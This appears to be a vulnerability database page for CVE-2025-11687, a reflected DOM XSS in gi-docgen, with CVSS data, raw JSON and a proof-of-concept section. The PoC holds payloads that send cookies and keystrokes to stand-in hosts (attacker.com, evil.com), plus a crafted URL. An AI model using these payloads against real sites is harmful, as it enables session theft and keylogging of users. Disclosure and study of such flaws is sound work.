Security Vulnerability Report
中文
CVE-2025-11687 CVSS 6.1 MEDIUM

CVE-2025-11687

Published: 2026-01-26 20:16:08
Last Modified: 2026-04-15 00:35:42

Description

A flaw was found in the gi-docgen. This vulnerability allows arbitrary JavaScript execution in the context of the page — enabling DOM access, session cookie theft and other client-side attacks — via a crafted URL that supplies a malicious value to the q GET parameter (reflected DOM XSS).

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

gi-docgen < 2025.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-11687 PoC: Reflected DOM XSS in gi-docgen --> <!-- Attacker constructs malicious URL with JavaScript payload in 'q' parameter --> <!-- When victim visits the URL, the JS payload executes in victim's browser context --> <!-- Basic PoC demonstrating cookie theft --> <img src=x onerror=" fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)) "> <!-- Alternative PoC using script tag --> <script> // Steal session cookies var stolen = document.cookie; new Image().src = 'https://evil.com/log?data=' + btoa(stolen); // Or perform keylogging document.addEventListener('keypress', function(e) { fetch('https://evil.com/keys?k=' + e.key); }); </script> <!-- Example malicious URL --> <!-- https://vulnerable-site.com/search?q=<img src=x onerror=alert(document.domain)> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11687", "sourceIdentifier": "[email protected]", "published": "2026-01-26T20:16:07.817", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in the gi-docgen. This vulnerability allows arbitrary JavaScript execution in the context of the page — enabling DOM access, session cookie theft and other client-side attacks — via a crafted URL that supplies a malicious value to the q GET parameter (reflected DOM XSS)."}, {"lang": "es", "value": "Se encontró un defecto en gi-docgen. Esta vulnerabilidad permite la ejecución arbitraria de JavaScript en el contexto de la página — permitiendo el acceso al DOM, el robo de cookies de sesión y otros ataques del lado del cliente — a través de una URL manipulada que suministra un valor malicioso al parámetro GET q (XSS DOM reflejado)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-11687", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2403536", "source": "[email protected]"}, {"url": "https://gitlab.gnome.org/GNOME/gi-docgen/-/issues/228", "source": "[email protected]"}]}}